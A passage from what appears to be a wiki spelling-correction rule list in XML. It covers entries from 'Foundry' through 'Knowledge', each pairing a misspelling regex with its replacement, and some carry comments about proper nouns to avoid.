<Typo word="Foundry" find="\b([fF])oundar(ies|y)\b" replace="$1oundr$2"/>
<Typo word="(Four/Five/...)fold" find="\b([fF](?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|[sS](?:even|ix)(?:t(?:een|y))?|[eE](?:ight(een|y?)|leven)|[nN]ine(?:t(?:een|y))?|[tT]w(?:e(?:lve|nty)|o)|[hH]undred)[\s]+fold(?!-)\b" replace="$1fold"/>
<Typo word="Fourth" find="\b([fF])or?uth\b" replace="$1ourth"/>
<Typo word="Franchise_" find="\b([fF])ranchiz(e[ders]?|ing)(?!\s+[bB]oy[sz])\b" replace="$1ranchis$2"/>
<Typo word="Franciscan" find="\b[fF]ransiscan(s)?\b" replace="Franciscan$1"/>
<Typo word="Franz Lehár" find="\bFranz\s+Lehar\b" replace="Franz Lehár"/>
<Typo word="(Un)Friend_" find="\b([fF]|[uU]nf)(?:ire|re?i)nd([a-z]*)\b(?<!Fr(?:eind(?:lich)?|ind(?:all|le|sbury)))" replace="$1riend$2"/><!--avoid Frindall, Frindle, Frindsbury, Freind, and Freindlich-->
<Typo word="From" find="\b([fF])rmo\b" replace="$1rom"/>
<Typo word="from_" find="\bfrome\b" replace="from"/>
<Typo word="Frontier" find="\b([fF])roniter(s)?\b" replace="$1rontier$2"/>
<Typo word="Front-page" find="\b([fF])ront\s+page(?=\s+(?:a(?:polog(?:ies|y)|rticles?)|banners?|co(?:lumns?|verage)|editorials?|feature|headlines?|lead|news(?:papers?)?|obituar(?:ies|y)|p(?:hoto(?:graphs?|s?)|ictures?)|re(?:ports?|views?)|s(?:pace|tor(?:ies|y)))\b)" replace="$1ront-page"/>
<Typo word="Fuchsia" find="\b([fF])uschia(s)?\b(?![^\s\.]*\.\w)" replace="$1uchsia$2"/><!--avoid domains-->
<Typo word="Frustum" find="\b([fF])rustr(a|ums?)\b" replace="$1rust$2"/>
<Typo word="Fulfill" find="\b([fF]|[uU]nf)u(?:fil?|lfill+)l(ed|ing|ment|s?)\b" replace="$1ulfill$2"/>
<Typo word="Fulfilled" find="\b([fF])ulfiled\b" replace="$1ulfilled"/>
<Typo word="(Dis/Dys/Mal/Co)Function" find="\b([cC]of|[dD][iy]sf|[fF]|[mM]alf)u[cn]tion([a-z]*)\b" replace="$1unction$2"/>
<Typo word="Fundamental" find="\b([fF])und[^a\s-]?men?t([a-z]*)\b" replace="$1undament$2"/>
<Typo word="Funeral" find="\b([fF])urneral(s)?\b" replace="$1uneral$2"/>
<Typo word="Further" find="\b([fF])u(?:r(?:thu|uthe)|the)r(ances?|ed|ing|mo(?:re|st)|s?)\b(?<!Furthur)" replace="$1urther$2"/><!--avoid Furthur, name of a bus-->
</source>
===G===
<source lang="xml">
<Typo word="(Inter)Galactic" find="\b([gG]|[iI]nterg)alatic\b" replace="$1alactic"/>
<Typo word="Galaxy" find="\b([gG])allax(ies|y)\b" replace="$1alax$2"/>
<Typo word="Galvanize" find="\b([gG])alvini[sz](ation|e[drs]?|ing)\b" replace="$1alvaniz$2"/>
<Typo word="Games" find="\b([gG])anes\b(?!\s+[cC]reek)" replace="$1ames"/>
<Typo word="* Gandhi" find="\b(Indira|Mahatma|Mohandas(?:\s+K\.)?|Rahul|Sonia)\s+[gG](?:ah|ha)ndi\b" replace="$1 Gandhi"/>
<Typo word="Gandhi" find="\bghandi\b" replace="Gandhi"/>
<Typo word="Gangster" find="\b([gG])anster(s)?\b" replace="$1angster$2"/>
<Typo word="garrison_" find="\bgariss?on(ed|s?)\b" replace="garrison$1"/> <!--avoid lastnames-->
<Typo word="Gauge" find="\b([gG])uag(e[ds]?|ing)\b" replace="$1aug$2"/>
<Typo word="Genealogy" find="\b([gG])enea?olog([a-z]+)\b" replace="$1enealog$2"/>
<Typo word="General" find="\b([gG])e(?:mer|n(?:ar|re))al([a-z]*)\b" replace="$1eneral$2"/>
<Typo word="(Re/De)Generate" find="\b([dD]eg|[gG]|[rR]eg)en(?:erat|ra)t([a-z]+)\b" replace="$1enerat$2"/>
<Typo word="(Gen/Nem)esis" find="\b([gG]en|[nN]em)[ai]s([ei])s\b" replace="$1es$2s"/>
<Typo word="Genital" find="\b([gG])enetal(ia|ly|s?)\b" replace="$1enital$2"/>
<Typo word="General Motors'" find="\bGeneral Motor[´ˈ׳᾿‘’′Ꞌꞌ`']s\s+" replace="General Motors' "/>
<Typo word="Georg(e/ia/etown)" find="\bGe(?:ogr?|rog)(e(?:town)?|ian?s?)\b" replace="Georg$1"/>
<Typo word="George" find="\bGoerg(e(?:town)?|ian?s?)\b(?<!Geroge)" replace="Georg$1"/><!--avoid Goerges & Geroge-->
<Typo word="Gérard Depardieu" find="\b[gG][eè]rard\s+[dD]epardieu\b" replace="Gérard Depardieu"/>
<Typo word="Gewürztraminer" find="\b[gG]ewurt?ztraminer\b" replace="Gewürztraminer"/>
<Typo word="Ghanaian" find="\b[gG]hanian(s)?\b" replace="Ghanaian$1"/>
<Typo word="Girlfriend" find="\b([gG])irfr(?:ei|ie)nd(s)?\b" replace="$1irlfriend$2"/>
<Typo word="Given" find="\b([gG])ievn\b" replace="$1iven"/>
<Typo word="Gjirokastër" find="\bGjirokaster\b" replace="Gjirokastër"/>
<Typo word="(Eye/Sun)Glasses" find="\b([eE]yeg|[gG]|[sS]ung)lases\b" replace="$1lasses"/>
<Typo word="Glögg" find="\b([gG])logg\b" replace="$1lögg"/>
<Typo word="Goddess" find="\b([gG])odess(es)?\b" replace="$1oddess$2"/>
<Typo word="Godunov" find="\b([gG])odounov\b" replace="$1odunov"/>
<Typo word="(On/Fore/Out)Going" find="\b([fF]oreg|[gG]|[oO](?:ng|utg))o(?:ign|nig)\b" replace="$1oing"/>
<Typo word="Götterdämmerung" find="\b[gG]ot+erdam+erung\b" replace="Götterdämmerung"/>
<Typo word="Gottlieb" find="\b[gG]ottleib\b" replace="Gottlieb"/>
<Typo word="Governance" find="\b([gG])over(?:a|ne)nce\b" replace="$1overnance"/>
<Typo word="Government" find="\b([gG])ov(?:e(?:m|nr?m|r(?:mn?|n(?:em|mn)))|orn?m)en?t(al(?:ly)?|s?)\b" replace="$1overnment$2"/>
<Typo word="Governor" find="\b([gG])(?:o(?:uvene|ve(?:ne|rne))|uver?n[eo]|venro)r(s(?:hips?)?)?\b" replace="$1overnor$2"/>
<Typo word="Graduate" find="\b([gG]|[pP]ostg|[uU]nderg)(?:a(?:dua?|rdua)|ra(?:du|uda))t(e[ds]?|i(?:ng|ons?))\b" replace="$1raduat$2"/>
<Typo word="Graffiti" find="\b([gG])raf(?:fit|it?)t(i(?:sts?)?|o)(?<!Porno Graffitti)\b" replace="$1raffit$2"/><!--avoid Porno Graffitti-->
<Typo word="gramophone_" find="\bgramaphone(s)?\b" replace="gramophone$1"/>
<Typo word="grammar_" find="\bgrammer(ians?|s?)\b" replace="grammar$1"/>
<Typo word="(Un)Grammatical" find="\b([gG]|[uU]ng)ramatical([a-z]*)\b" replace="$1rammatical$2"/>
<Typo word="Grandfather/mother/..." find="\b([gG])ran(?:d-)?(aunt|child(?:ren)?|daughter|father|mother|n(?:ephew|iece)|parent|s(?:on|tand)|uncle)(?<!rand-(?:aunt|n(?:ephew|iece)|uncle)|Granson)(s)?\b" replace="$1rand$2$3"/>
<Typo word="grandson_" find="\bgranson(s)?\b" replace="grandson$1"/>
<Typo word="-Graph-" find="(?<=\b(?:[A-Z][a-z]*g|[a-z]+g|[gG]))rpah([a-z]*)\b" replace="raph$1"/><!--cheapened expensive beginning-->
<Typo word="(Un)Grateful" find="\b([gG]|[uU]ng)re?atful([a-z]*)\b" replace="$1rateful$2"/>
<Typo word="_Great" find="(?!\bGerat\b)\b([gG])(?:erat|rae?t)(est|ly)?\b(?<![iI]nstant[−―–—\s]+grat)" replace="$1reat$2"/>
<!--avoid grater or proper noun Gerat-->
<Typo word="grief_" find="\bgreif\b" replace="grief"/><!--avoid surname Greif-->
<Typo word="Grievous" find="\b([gG])r(?:eiv|ievi)ous([a-z]*)\b" replace="$1rievous$2"/>
<Typo word="(Re/Un)Group" find="\b([gG]|[rR]eg|[uU]ng)r(?:opu|uop)(ed|ing|s?)\b" replace="$1roup$2"/>
<Typo word="Grow" find="\b([gG])rwo([ns])?\b" replace="$1row$2"/>
<Typo word="Guadalupe" find="\b[gG]uadulupe\b" replace="Guadalupe"/>
<Typo word="Guanine" find="\b([gG])(?:au|una)nine\b" replace="$1uanine"/>
<Typo word="Guarana" find="\b([gG])auarana\b" replace="$1uarana"/>
<Typo word="Guarantee" find="(?!\bGarante\b)\b([gG])(?:a(?:r[ae]|ur[ae])|u(?:are|r[ae]))nte+([ds]?|ing)\b" replace="$1uarantee$2"/><!--avoid surname Garante-->
<Typo word="(Body/Un)Guard" find="\b([bB]odyg|[gG]|[uU]ng)aurd(ed(?:ly)?|i(?:ans?|ng)|s?)\b" replace="$1uard$2"/>
<Typo word="(Mis)Guidance" find="\b([gG]|[mM]isg)uidence\b" replace="$1uidance"/>
<Typo word="Guideline" find="\b([gG])uidline(s)?\b" replace="$1uideline$2"/>
<Typo word="Guinness" find="\b[gG]uin(?:es?|ne)s\b" replace="Guinness"/>
<Typo word="Guttural" find="\b([gG])ut(?:[aeu]|t[ae])ral(ism|ly|ness|s?)\b" replace="$1uttural$2"/>
</source>
===H===
<source lang="xml">
<Typo word="Habeas" find="\b([hH])aba?eus\b" replace="$1abeas"/>
<Typo word="Habitué" find="\b([hH])abitue(es?|s?)\b" replace="$1abitué$2"/>
<Typo word="Ha(d/s/t)" find="\b([hH])([dst])a\b(?![^\s\.]*\.\w)" replace="$1a$2"/><!--avoid domains-->
<Typo word="Halloween" find="\b[hH]al(?:lowea|owe[ae]?)n\b" replace="Halloween"/>
<Typo word="Happen" find="\b([hH])apen(ed|ing|s?)\b" replace="$1appen$2"/>
<Typo word="Happened" find="\b([hH])ap(?:en[dn]e|pen(?:[dn]e)?)d\b" replace="$1appened"/>
<Typo word="Harass" find="\b([hH])ar(?:as|r(?:as+e?|r+as+e))(e[ds]|ing(?:ly|s?)|ments?)\b" replace="$1arass$2"/><!--avoid name Haras-->
<Typo word="Harassment" find="\b([hH])arassement\b" replace="$1arassment"/>
<Typo word="Hardware" find="\b([hH])arware\b" replace="$1ardware"/>
<Typo word="Harold(son)" find="\bHarlod(son)?\b" replace="Harold$1"/>
<Typo word="Have" find="\b([hH])(?:aev|vae)\b" replace="$1ave"/>
<Typo word="(S)Having" find="\b([hH]|[sS]h)(?:ave|va)ing\b" replace="$1aving"/>
<Typo word="He" find="\b([hH])ge\b(?![^\s\.]*\.\w)" replace="$1e"/><!--avoid domains-->
<Typo word="Headquarters" find="\b([hH])(?:aed|ea?d?)[−―–—\s]?[qQ]ua(?:rt|tr?)e?r?(?<!eadquarter|e quarter)(ed|s?)\b" replace="$1eadquarter$2"/>
<Typo word="Heard" find="\b([hH])eared\b" replace="$1eard"/>
<Typo word="Heart" find="(?!\bHerat\b)\b([hH])erat(s)?\b" replace="$1eart$2"/><!--avoid city Herat-->
<Typo word="Height" find="\b([hH])(?:eighth|i(?:eght|ghth))(s?|en(?:e(?:d|rs?)|ing|s?))\b" replace="$1eight$2"/>
<Typo word="Heirs" find="\b([hH])ier(ess(?:es)?|s)(?<!Hiers)\b" replace="$1eir$2"/><!--avoid hier, French/German word or surname Hiers-->
<Typo word="Helicopter" find="\b([hH])e(?:ilocopte|l(?:[eo]copte|i(?:copto|[eo]copte)))r(s)?\b" replace="$1elicopter$2"/>
<Typo word="Helmet" find="\b([hH])elment(s)?\b" replace="$1elmet$2"/>
<Typo word="Help" find="\b([hH])(?:al|elp|le)p([a-z]*)\b(?<!Halp(?:er(?:in|n?|t?)|in|ov|rin))" replace="$1elp$2"/><!--avoid surnames Halper(n), Halperin, Halpin, Halprin, Halpov, Halpert-->
<Typo word="Hemorrhage" find="\b([hH])(?:aemorrag|em(?:mor?rh?ag|orh?ag))(e[ds]?|i(?:c|ng))\b" replace="$1emorrhag$2"/>
<Typo word="Heredity" find="\b([hH])eridit(ar)?y\b" replace="$1eredit$2y"/>
<Typo word="Hergé" find="\bHerge\b" replace="Hergé"/>
<Typo word="Heritage" find="\b([hH])er(?:[ae]|r[aei])tage?(s)?\b" replace="$1eritage$2"/>
<Typo word="_heroes" find="\bheros\b" replace="heroes"/><!--avoid proper noun Heros-->
<Typo word="(Kilo/Mega/Giga)Hertz" find="\b([gG]iga[hH]|[hH]|[kK]ilo[hH]|[mM]ega[hH])ertzs\b" replace="$1ertz"/>
<Typo word="Hesitant" find="\b([hH])esist[ae]n(cy|t(?:ly)?)\b" replace="$1esitan$2"/>
<Typo word="Heyday" find="\b([hH])eyd([ae])ys\b" replace="$1eyd$2y"/>
<Typo word="Hiatus" find="\b([hH])aitus\b" replace="$1iatus"/>
<Typo word="Hierarchy" find="\b([hH])(?:ei|ie)ra(?:ch|rc)(ies|ic(?:al[a-z]*)?|y?|(?:al[a-z]*)?)\b" replace="$1ierarch$2"/>
<Typo word="Hieroglyph" find="\b([hH])(?:eirogly|ierogl)ph(ic(?:al[a-z]*|s?)|s?)\b" replace="$1ieroglyph$2"/>
<Typo word="High" find="\b([hH])(?:eigh|ig)(e(?:r|st)|ness|way(?:s|\b(?<!Heighway)))\b" replace="$1igh$2"/><!--avoid surname Heighway-->
<Typo word="Hilarity" find="\b([hH])illari(ous[a-z]*|ty)\b" replace="$1ilari$2"/>
<Typo word="Hindrance" find="\b([hH])ind(?:er[ae]|ren?)nce(s)?\b" replace="$1indrance$2"/>
<Typo word="Hippopotamus" find="\b([hH])ip(?:op?|pop)potamus(es)?\b" replace="$1ippopotamus$2"/>
<Typo word="Hirsute" find="\b([hH])[ei]rsuit\b" replace="$1irsute"/>
<Typo word="(Pre)Historic" find="\b([hH]|[pP]reh)(?:istoric|sitor)i(ans?|c[a-z]*)\b" replace="$1istori$2"/>
<Typo word="History" find="\b([hH])(?:is|st)or(i(?:c[a-z]*|es)|y)\b" replace="$1istor$2"/>
<Typo word="Homepage" find="\b([hH])om[pP]age(s)?\b" replace="$1omepage$2"/>
<Typo word="(Dis)Hono(u)r" find="\b([dD]ish|[hH])ouno(u)?r(abl[ey]|e[de]|i(?:fics?|ng)|s?)\b" replace="$1ono$2r$3"/>
<Typo word="Hono(u)rary" find="\b([hH])on(?:ar(?:ar)?|o(u)?ra)y\b" replace="$1ono$2rary"/>
<Typo word="Horrify" find="\b([hH])or(?:iff?y?|rifi?)(ing)?\b" replace="$1orrify$2"/>
<Typo word="However" find="\b([hH])(?:ow|woe)ver\b" replace="$1owever"/>
<Typo word="http:" find="\b([hH])t(?:p[L:]|t(?:pL|tp[L:]))" replace="$1ttp:"/>
<Typo word="http://" find="\b([hH])ttp:\\\\" replace="$1ttp://"/>
<Typo word="Humanities" find="\b([hH])uman(?:it|ti)es\b" replace="$1umanities"/>
<Typo word="Humiliate" find="\b([hH])umilat(e[ds]?|i(?:ng|on|ve)|or[sy]?)\b" replace="$1umiliat$2"/>
<Typo word="Humor" find="\b([hH])umer\b" replace="$1umor"/>
<Typo word="Humoral" find="\b([hH])umoural\b" replace="$1umoral"/>
<Typo word="Humorous" find="\b([hH])um(?!erous\b)[eu]rous(ly|ness)?\b" replace="$1umorous$2"/>
<Typo word="Hundred" find="\b([hH])undere?d(s?|ths?)\b" replace="$1undred$2"/>
<Typo word="Husband" find="\b([hH])usban(ry|s?)\b" replace="$1usband$2"/>
<Typo word="Hydrogen" find="\b([hH])ydogen\b" replace="$1ydrogen"/>
<Typo word="Hydrophile/phobe" find="\b([hH])ydr[ao]p(il|ob)(es?|i(?:a|c(?:ity)?))\b" replace="$1ydroph$2$3"/>
<Typo word="Hygiene" find="\b([hH])ygein(e|i(?:cs?|sts?))\b" replace="$1ygien$2"/>
<Typo word="Hypocrisy" find="\b([hH])ypocr(?:a[cs]|ic)(ies|y)\b" replace="$1ypocris$2"/>
<Typo word="Hypocrite" find="\b([hH])ypocrit(s)?\b" replace="$1ypocrite$2"/>
</source>
===I===
<!--Some "In-" words appear under their roots: "(In)Root"-->
<source lang="xml">
<Typo word="Iconoclast" find="\b([iI])conclast(ic|s?)\b" replace="$1conoclast$2"/>
<Typo word="Idea" find="\b([iI])dae(s)?\b(?<!\b\p{Lu}\.\s+idae)(?!'')" replace="$1dea$2"/><!--avoid species-->
<Typo word="Identifier" find="\b([iI])dentife(d|rs?)\b" replace="$1dentifie$2"/>
<Typo word="Identi(f/t)y" find="\b([iI])denti([ft])iy\b" replace="$1denti$2y"/>
<Typo word="Idiosyncra(c/s)y (2)" find="\b([iI])d(?:eosynch?|iosynch)ra([cst][ei-y]+)\b" replace="$1diosyncra$2"/>
<Typo word="Illegal" find="\b([iI])l(?:[ei]+|l+[ei]{2,})gal(ly)?\b(?<!\bEl Ilegal)" replace="$1llegal$2"/>
<Typo word="Illinois" find="\b(?:[iI]l(?:ia?noi|l(?:anoi|l+[ai]noi?|noi)|l+(?:ani?o|i(?:ni?o|oni)))s|illinois)\b" replace="Illinois"/>
<Typo word="Illness" find="\b([iI])lless(es)?\b" replace="$1llness$2"/>
<Typo word="Illusion" find="\b([iI])llution(s)?\b" replace="$1llusion$2"/>
<Typo word="Illustrate" find="\b([iI])ll?[iu](?:s(?:r|tr?)|tr)(?<!ll(?:itr|ustr))(at[a-z]+|ious[a-z]*)\b" replace="$1llustr$2"/>
<Typo word="Imagine" find="\b([iI])magen(a(?:ry|tion)|e[ds]?)\b" replace="$1magin$2"/>
<Typo word="Imagined" find="\b([iI])magin([ds])\b" replace="$1magine$2"/><!--avoid "Imagin"-->
<Typo word="Immediate" find="\b([iI])m(?:ea?di?|m+(?:e(?:adi?|d)|idi?|mea?di?))ate?(ly)?\b" replace="$1mmediate$2"/>
<Typo word="Immediately" find="\b([iI])m+ediate?ley\b" replace="$1mmediately"/>
<Typo word="Imminent" find="\b([iI])manent(ly)?\b" replace="$1mminent$2"/>
<Typo word="Impedance" find="\b([iI])mpedence(s)?\b" replace="$1mpedance$2"/>
<Typo word="Implement" find="\b([iI])mpl[ai]ment(a(?:l|tions?)|e[dr]?|ing|s?)\b" replace="$1mplement$2"/>
<Typo word="Important" find="\b([iI])mport(?:am|na)(ce|t(?:ly)?)\b" replace="$1mportan$2"/>
<Typo word="Impress" find="\b([iI])m(?:mp(?:ers?|res?)|p(?:ers?|re))s(e[ds]|i[a-z]+)?\b" replace="$1mpress$2"/><!--avoid impresión etc.-->
<Typo word="Imprison" find="\b[IE]mpris*on*e?(ed|ings?|ments?|s?)\b(?<!Imprison(ed|ings?|ments?|s?))" replace="Imprison$1"/><!--avoid self-->
<Typo word="imprison" find="\b[ie]mpris*on*e?(ed|ings?|ments?|s?)\b(?<!imprison(ed|ings?|ments?|s?))" replace="imprison$1"/><!--avoid self-->
<Typo word="Improv(e/ise)" find="\b([iI])mp(?:or|re)v([a-z]+)\b" replace="$1mprov$2"/>
<Typo word="Inaccurate" find="\b([iI])n(?:a|nac?)cura(c[a-z]+|te[a-z]*)\b" replace="$1naccura$2"/>
<Typo word="Inaugurates" find="\b([iI])naugure([ds])\b" replace="$1naugurate$2"/>
<Typo word="Incinerate" find="\b([iI])(?:cin[ae]|n(?:cina|sin[ae])|sina)rat([a-z]+)\b" replace="$1ncinerat$2"/>
<Typo word="Include" find="\b([iI])nclud(s)?\b" replace="$1nclude$2"/>
<Typo word="Including" find="\b([iI])n(?:c(?:lud|udi)|lcudi)ng\b" replace="$1ncluding"/>
<Typo word="Increase" find="\b([iI])ncraes(e[ds]|ing(?:ly)?)\b" replace="$1ncreas$2"/>
<Typo word="Increment" find="\b([iI])ncr[ai]ment(al(?:ly)?|s?)\b" replace="$1ncrement$2"/>
<Typo word="Incunabula" find="\b([iI])ncunabla\b" replace="$1ncunabula"/>
<Typo word="India(na)" find="\b[iI]ndai(n(?:an?s?|ian?s?|s?))?\b" replace="India$1"/>
<Typo word="Indiana University" find="\b[uU]niversity\s+of\s+[iI]ndiana\b" replace="Indiana University"/>
<Typo word="Indicate" find="\b([iI])ndecat(e[ds]?|ing|ors?)\b" replace="$1ndicat$2"/>
<Typo word="Indict" find="\b([iI])ndite\b" replace="$1ndict"/>
<Typo word="Indictment" find="\b([iI])ndic?tement(s)?\b" replace="$1ndictment$2"/>
<Typo word="Indigenous" find="\b([iI])nd(?:egen|ig(?:eni|ine?))ous(ly)?\b" replace="$1ndigenous$2"/>
<Typo word="Indiscernible" find="\b([iI])ndis[cs]ernabl([a-z]+)\b" replace="$1ndiscernibl$2"/>
<Typo word="Individual (2)" find="\b([iI])(?:div|ndv)ia?dual(ly|s?)\b" replace="$1ndividual$2"/>
<Typo word="Indulge" find="\b([iI])ndulgue([ds]?|nces?)\b" replace="$1ndulge$2"/>
<Typo word="Industry" find="\b([iI])n(?:d(?:istr|sutr|u(?:sr?t|tr))|udstr)(i(?:al[a-z]*|es)|y)\b" replace="$1ndustr$2"/>
<Typo word="Ine(…)ible" find="\bune(d|lig|x(?:haust|press))[ai]b(ility|l[ey])\b" replace="ine$1ib$2"/>
<Typo word="Inevitable" find="\b([iI])nev(?:ati|iti(?:ta)?)bl([ey])\b" replace="$1nevitabl$2"/>
<Typo word="Infantry" find="\b([iI])nf(?:ant|rantr)y(m[ae]n|person|wom[ae]n)?\b" replace="$1nfantry$2"/>
<Typo word="(Non)Infectious" find="\b([iI]|[nN]oni)nfectuous([a-z]*)\b" replace="$1nfectious$2"/>
<Typo word="Infiltrate" find="\b([iI])nfilitrat(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1nfiltrat$2"/>
<Typo word="Inflammation" find="\b([iI])[mn]flama(b(?:ility|l[ey])|t(?:ions?|ory))\b" replace="$1nflamma$2"/>
<Typo word="Influence" find="\b([iI])nfluente([ds])?\b" replace="$1nfluence$2"/>
<Typo word="Influential" find="\b([iI])nf(?:luen(?:c[iu]|tu)|uen[ct][iu])al(ly)?\b" replace="$1nfluential$2"/>
<Typo word="Infringement" find="\b([iI])nfrige?ment(s)?\b" replace="$1nfringement$2"/>
<Typo word="Inhabitants" find="\b([iI])nhabitans\b" replace="$1nhabitants"/>
<Typo word="Initial" find="\b([iI])(?:n(?:it|nit[it]?|ti(?:ti?)?)|titi?)a(?:l|(?=ly\b))(e(?:d|rs?)|i(?:ng|sms?|[sz](?:ations?|e[ds]?|ing)|t(?:ies|y))|l(?:ed|ing|y)|ness|s?)\b" replace="$1nitial$2"/>
<Typo word="Initiative/Initiation" find="\b([iI])ni(?:cia|t(?:a|i(?:ai)?))ti(ons?|ves?)\b" replace="$1nitiati$2"/>
<Typo word="Injured" find="\b([iI])njur[ir]ed\b" replace="$1njured"/>
<Typo word="Innocence" find="(?!\bInnosense\b)\b([iI])n(?:no[cs]ens|osenc)e\b" replace="$1nnocence"/><!--avoid group Innosense-->
<Typo word="Inoculate" find="\b([iI])n(?:noc?|oc)cula([a-z]+)\b" replace="$1nocula$2"/>
<Typo word="Input" find="\b([iI])mput(s?|t(?:ed|ing))\b" replace="$1nput$2"/>
<Typo word="Insofar" find="\b([iI])n(?:so\s+|\s+so)far\b" replace="$1nsofar"/><!--"insofar" is proper American English, "in so far" proper British; thus correct only mixed usage-->
<Typo word="Inspire" find="\b([iI])[mn]ps?ir(ation[a-z]*|e[ds]?|ing)\b" replace="$1nspir$2"/>
<Typo word="Instead" find="\b([iI])nst(?:ade|ed)\b" replace="$1nstead"/>
<Typo word="Instrument" find="\b([iI])n(?:s(?:ru|tur?)|t(?:ru|st?ru))ment(s?|al(?:it(?:ies|y)|is[mt]s?|ly|s?)|ation)\b" replace="$1nstrument$2"/>
<Typo word="Integer" find="\b([iI])nterg(ers?|rity|ra(?:b(?:ility|le)|ls?|n[dt]s?|t(?:e[ds]?|ors?)|ti(?:ng|on[a-z]*|ve)))\b" replace="$1nteg$2"/>
<Typo word="Intellectual" find="\b([iI])ntelectual(ly|s?)\b" replace="$1ntellectual$2"/>
<Typo word="Intelligence" find="\b([iI])ntel(?:[eil]|l[ae])g[ae]n(cer?s?|t(?:ly|sia)?)\b" replace="$1ntelligen$2"/>
<Typo word="(Dis)Interest" find="\b([dD]isi|[iI])(?:nt(?:er|re)|tnere)st(ed|ing(?:ly)?|s?)\b" replace="$1nterest$2"/>
<Typo word="Interim" find="\b([iI])nter(?:ri|u?)m\b" replace="$1nterim"/>
<Typo word="International" find="\b([iI])nte(?:natio?|r(?:atio?|nati))nal([a-z]*)\b" replace="$1nternational$2"/>
<Typo word="(Mis/Re)Interpret" find="\b([iI]|[mM]isi|[rR]ei)nt(?:erper?e?|repre)t([a-z]*)\b(?<![iI]nterpet(?:aloids?|iolar))" replace="$1nterpret$2"/>
<Typo word="Interpreter" find="\b([iI])ntepretator(s)?\b" replace="$1nterpreter$2"/>
<Typo word="(Un)Interrupt" find="\b((?<!Lemon\s{1,9})[iI]|[uU]ni)nterr?uppt(ed|i(?:ng|ons?)|s?)\b" replace="$1nterrupt$2"/>
<Typo word="(Un)Interrupted" find="\b([iI]|[uU]ni)nter+uped\b" replace="$1nterrupted"/>
<Typo word="Intervenes" find="\b([iI])ntervine([ds])?\b" replace="$1ntervene$2"/>
<Typo word="Into" find="\b([iI])not\b" replace="$1nto"/>
<Typo word="Intra- (no hyphen)" find="\b([iI])ntra-(murals?|state|uterine|venous(?:ly)?)\b" replace="$1ntra$2"/>
<Typo word="(Re)Introduce" find="\b([iI]|[rR]ei)(?:n(?:ctr[ou]?|t(?:[aeo]r?|ru?))|tnro)duc?(e[ds]?|ing|t(?:ions?|ory))\b" replace="$1ntroduc$2"/>
<Typo word="Intuition" find="\b([iI])nti?uti(ons?|ve(?:ly)?)\b" replace="$1ntuiti$2"/>
<Typo word="Investigate" find="\b([iI])nv(?:esti(?:a(?:ga?t|t)|es(?:igat|ta?gat?)|g(?:a(?:it)?|ngat|t))|stigat)(e[ds]?|i(?:ng|ons?|ve)|or[sy]?)\b" replace="$1nvestigat$2"/>
<Typo word="Investment" find="\b([iI])nvesment(s)?\b" replace="$1nvestment$2"/>
<Typo word="Invincible" find="\b([iI])nvinc(?:a|e[ai]?)b(ilit(?:ies|y)|l(?:e(?:ness)?|y))\b" replace="$1nvincib$2"/>
<Typo word="Iridescent" find="\b([iI])rridescen(ce|t(?:ly)?)\b" replace="$1ridescen$2"/>
<Typo word="Irritate" find="\b([iI])r(?:i|ra)ta(bl[ey]|t(?:e[ds]?|i(?:ng(?:ly)?|on)))\b" replace="$1rrita$2"/>
<Typo word="Isn't" find="\b([iI])sn[´ˈ׳᾿‘’′Ꞌꞌ`;]?t\b" replace="$1sn't"/>
<Typo word="Israel" find="\b(?:isr(?:ae|ea)|Isrea)l(i(?:s?|tes?))?\b" replace="Israel$1"/>
<Typo word="(It/My)self" find="\b([iI]t|[mM]y)sefl?\b" replace="$1self"/>
</source>
===J===
<source lang="xml">
<Typo word="Jalapeño" find="\b([jJ])alape[nńň]o(s)?\b(?!\s[rR]ecords?)\b" replace="$1alapeño$2"/><!--avoid Jalapeno Records-->
<Typo word="Janáček" find="\bJan(?:ác|[aàäãǎāă][cč])ek\b" replace="Janáček"/>
<Typo word="Jardinière" find="\b([jJ])ardiniere\b" replace="$1ardinière"/>
<Typo word="Jeopardy" find="\b([jJ])eapardy\b" replace="$1eopardy"/>
<Typo disabled="Jewel(le)ry" find="\b([jJ])ewl(le)?e?ry\b" replace="$1ewel$2ry"/>
<Typo disabled="Jewellery" find="\b([jJ])ewel(?:e|la)ry\b" replace="$1ewellery"/>
<Typo word="Joan Miró" find="\b[jJ]oan\s+[mM]iro\b" replace="Joan Miró"/>
<Typo word="Johnnie" find="\bjohn+ie\b" replace="Johnnie"/>
<Typo word="José Ferrer" find="\bJos[eè]\s+Ferrer\b" replace="José Ferrer"/>
<Typo word="Joseph" find="\b[jJ]o(?:esp|spe)h\b" replace="Joseph"/>
<Typo word="Journ(al/ey)" find="\b([jJ])ounr?(al(?:i(?:ng|s[mt]s?)|ling|s?)|ey(?:ed|ing|m[ae]n|s?|wom[ae]n))\b" replace="$1ourn$2"/>
<Typo word="Journeyed" find="\b([jJ])our?nie?(ed|s)\b" replace="$1ourney$2"/>
<Typo word="Judaism" find="\b[jJ](?:ewism|uada?ism)\b" replace="Judaism"/>
<Typo word="Judg(e)ment" find="\b([jJ])ugd?(e)?ment(al(?:ly)?|s?)\b(?<!\b[lL]e\s{1,9}[jJ]ugement\b)" replace="$1udg$2ment$3"/><!--avoid Le jugement-->
<Typo word="Judicial" find="\b([jJ])ud(?:i(?:c|su)|uci)a(l|ry)\b" replace="$1udicia$2"/>
<Typo word="(Jun/Sen)ior" find="\b([jJ]u|[sS]e)(?:ino|noi)r(ity|s?)\b" replace="$1nior$2"/>
<Typo word="Jurisdiction" find="\b([jJ])uri(?:d|st)iction(al(?:ly)?|s?)(?!\s(des?|du|sur)\b)\b" replace="$1urisdiction$2"/><!--avoid French juridiction de/des/du/sur-->
<Typo word="Just(ify)" find="\b([jJ])s(?:tu|ut)(ice|if(?:i[ace][a-z]+|y)|ly)?\b" replace="$1ust$2"/>
<Typo word="Juvenile" find="\b([jJ])uv[ai]nil(e[a-z]*|i(?:a|ty))\b" replace="$1uvenil$2"/>
</source>
===K===
<source lang="xml">
<Typo word="Kåldolmar" find="\b([kK])aldolmar\b" replace="$1åldolmar"/>
<Typo word="Kindergarten" find="\b([kK])in[dt]erga(?:rd|t)en(s)?\b" replace="$1indergarten$2"/>
<Typo word="Knife" find="\b([kK])nive\b" replace="$1nife"/>
<Typo word="(Ac)Knowledge" find="\b([aA]ck|[kK])nowl(?:deg|e[dg]d?)(e(?:ab[a-z]+|[ds]?|ments?)|ing)\b" replace="$1nowledg$2"/>
